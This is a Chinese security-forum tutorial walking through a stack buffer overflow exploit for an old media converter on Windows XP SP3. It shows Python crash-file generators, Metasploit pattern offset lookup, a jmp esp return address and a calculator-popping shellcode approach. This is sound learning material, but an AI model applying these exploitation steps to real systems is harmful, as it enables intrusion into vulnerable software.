首页
社区
课程
招聘
[原创]EXP编写学习 之 栈溢出(一)
发表于: 2022-4-27 23:39 8745

[原创]EXP编写学习 之 栈溢出(一)

2022-4-27 23:39
8745

我是逆向练习生 ,羽墨

在逆向的大道上,最喜欢的一条分支就是二进制漏洞了,通过读书与网上资料,结合自己的理解,总结出来二进制漏洞的三个技术要点

漏洞挖掘 漏洞分析 漏洞利用

漏洞挖掘先不谈

漏洞分析与利用是基本功(相辅相成),看一下CVE的历史,有很多都是捕捉到了利用样本,安全研究员分析出来的0day漏洞(毕竟真正的“黑客”是不会公开0day的)那么必不可少的需要学习漏洞利用与分析技术。

所以我学习二进制漏洞就先从漏洞利用与分析开始,目前国内的漏洞书籍有 0day2 与 漏洞战争, 前者重点讲述了二进制漏洞的原理与windows安全机制,后者重点讲述了漏洞分析的技术且有一些EXP的分析。简单都看了一遍以后,发现对于漏洞利用技术的知识还是差的很远,别人的EXP堪称艺术,自己。。。惨不忍睹,所以找到了看雪各路大神翻译的EXP编写系列教程。

EXP编写系列教程用的perl脚本 因为不熟悉,所以这里我使用py(其实我是C语言爱好者 但没办法C代码太长了 所以用py现学现卖) 另外教程中没有对漏洞软件进行分析 ,所以顺带对漏洞软件进行了一波分析。。。

注:新手上路 如有错误请大佬指正

漏洞软件: https://www.exploit-db.com/exploits/10619
虚拟环境: Vmware Windows xp sp3 中文版
调试器: x32dbg ,windbg xp版

​ 1.打开我好久没用过的pycharm

​ 2.编写一个简单的py脚本用来生成测试文件,经过20000-30000的文件大小测试,我用了27000,因为要分析。。

​ 3.打开后崩溃

1.我使用x32dbg 打开漏洞软件,并设置调试器处理异常,之后打开测试文件,程序异常断下,查看栈回溯

栈回溯情况

​ 好的,是栈溢出,栈帧都破坏了,看不出来什么,那么怎么定位漏洞位置。别急,山人自有妙计

​ 进入反汇编窗口,查看寄存器与栈窗口,看到BBP指向了测试文件,一般EBP都是保存栈底,如果指向了一个数据,那么这个数据一般是不会变动的,并且必然要作为参数用到(逆向经验),那么可以在EBP的附近找一下,在栈窗口转到EBP,发现了惊喜,EBP作为参数调用了一个函数,而且栈也没有被破坏,因为栈是向低地址增长的,所以这个位置的函数,必然是栈溢出之前的函数,由这个参数来推测,它必然会对测试文件做一些处理操作。

栈回溯情况2

2.在找到的这个函数地址下断
定位处理函数

3.重新调试,打开测试文件后断下,果然这个函数是用来处理文件的,具体做了些什么不清楚,但根据程序名,推测这是处理格式转换的

4.经过一路跟踪,发现了它调用fopne函数打开文件,按照编程惯例,之后马上会有fwrite调用来把文件内容写入缓冲区
溢出函数

5.继续跟踪,看到在一系列操作过后,来到了溢出位置(快速浏览汇编代码,找到对栈进行操作的位置)
定位关键栈操作

6.可以看到在这里,在进行了大小计算后,对栈进行了赋值操作,本来想通过栈缓冲区大小来精准定位返回地址,但是经过计算,发现对文件进行操作的时候,文件的大小改变了,并且文件内容也有一些改变,应该是转换过程中的操作,所以没办法根据栈缓冲区大小来定位返回地址了。

7.分析到这里,漏洞成因也可以确定了,这个程序把数据读入缓冲区,经过一系列的处理后,写到了栈中,且没有比较大小,以数据大小来进行赋值,所以造成了栈溢出

1.漏洞利用精确覆盖返回地址

通过计算栈大小失败后,可以使用msf的pattern_create.rb 与 pattern_offset 来进行定位,cd到msf的工具目录,使用脚本(我使用kali来生成 windows也可以 但不推荐 环境配置会有很多坑)

2.使用上述两个脚本后,生成测试文件,再次调试,进行返回地址精确定位

这两个脚本的简单原理就是(可以-h查看帮助),通过它生成的畸形数据(每次生成都一样)来覆盖返回地址,然后覆盖返回地址以后,通过那个值来计算在测试数据中的偏移,以此来确定返回位置,进行精准打击

3.脚本返回的偏移为 1067 ,加上25000个A ,也就是文件里 26067的位置 , 继续写脚本进行测试 (偏移地址因环境而已)

4.好的,返回地址被覆盖为BBBB 也就是42424242

5.找到了返回地址的位置,那么要进行漏洞利用,还需要把shellcode放入程序中,并且需要让返回地址为shellcode地址或者nop区

众所周知,返回指令,可以附带操作数,也就是返回时弹出几个字节,所以我们需要确定到底返回了几个字节,根据之前的漏洞分析环节,找到漏洞位置后,直接F9,可以到返回指令 retn 4

另一个办法,修改char2部分的数据,修改后生成测试文件进行测试,查看esp,会得到同样的结论

6.shellcode一般不可以包含 0x00 ,会被截断

7.现在已经知道了返回会弹出4个字节,所以py脚本这样写,shellcode为xp sp3 弹出计算器的代码(比较简单,自己用汇编写了,如果想研究一下shellcode,可以把shellcode拷贝到调试器中,调整EIP直接运行即可看到代码)

8.那么现在需要确定返回地址了,返回地址覆盖时,同样不可以包含NULL字符,另外由于栈地址有一定的随机性,所以使用跳板指令jmp esp来达到我们的目的

9.搜索跳板地址的话,MSF有个小工具可以使用,msfpescan(这里不使用了)

根据教程,使用windbg 命令lmi (也可以使用OD的插件 OllyFindAddr)
模块

然后使用搜索内存指令,我搜索的是kernel32 FF E4为JMP ESP 指令机器码 , 可以在调试器中修改汇编指令查看

10.在py脚本中, retaddr换成 "\x7b\x46\x86\x7c" 小端序 , 如果你的一些字符在py中出现编码问题,在字符串前加b,并且文件以wb模式写入

11.生成EXP文件,进行测试,由于我的shellcode中,最后使用了ExitProcess 所以没有弹出崩溃窗口(如果读者对跳板指令不熟悉,可以跟踪调试一下,就会理解其中原理)

exp执行

12.如果想使用别的shellcode(例如反弹shell),可以自己编写,或者使用msf的shellcode模块,生成时可以选择shellcode功能与编码方式(由于利用较为简单,不使用了,后续使用会说明用法)

1.使用样本测试到漏洞分析

2.漏洞分析找到漏洞成因

3.熟悉python编程并写出EXP代码

4.一些小技巧,例如windbg指令,分析技巧,需要读者自己去总结了

5.由于这个软件没有任何安全机制,所以不展开讨论,后续章节再详细解析

看雪 EXP编写系列教程 第一章

 
 
 
 
 
 
 
 
#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
char = "\x41" * 27000
Fileptr = open(r'crash.m3u','w')
Fileptr.write(char)
Fileptr.close()
print("CreatFile Success")
#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
char = "\x41" * 27000
Fileptr = open(r'crash.m3u','w')
Fileptr.write(char)
Fileptr.close()
print("CreatFile Success")
 
 
 
 
 
 
 
 
 
 
 
./pattern_create.rb -l 5000 > /home/kali/Desktop/test.txt
./pattern_create.rb -l 5000 > /home/kali/Desktop/test.txt
#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
char = "\x41" * 25000
 
Fileptr = open(r'crash.m3u','w')
testfile = open(r'test.txt','r')
 
teststr = testfile.read()
Fileptr.write(char)
Fileptr.close()
testfile.close()
 
print("CreatFile Success")
#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
char = "\x41" * 25000
 
Fileptr = open(r'crash.m3u','w')
testfile = open(r'test.txt','r')
 
teststr = testfile.read()
Fileptr.write(char)
Fileptr.close()
testfile.close()
 
print("CreatFile Success")
(e94.8bc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00aa0000 esi=77c2fce0 edi=00007530
eip=366a4235 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
366a4235 ??              ???
(e94.8bc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00aa0000 esi=77c2fce0 edi=00007530
eip=366a4235 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
366a4235 ??              ???
./pattern_offset.rb -q 366a4235 -l 5000
[*] Exact match at offset 1067
./pattern_offset.rb -q 366a4235 -l 5000
[*] Exact match at offset 1067
 
#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
char = "\x41" * 26067
retaddr = "BBBB"
char2 = 'C' * 1000
 
Fileptr = open(r'crash.m3u','w')
Fileptr.write(char + retaddr + char2)
Fileptr.close()
 
 
print("CreatFile Success")

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-5-3 16:33 被yumoqaq编辑 ,原因:
收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//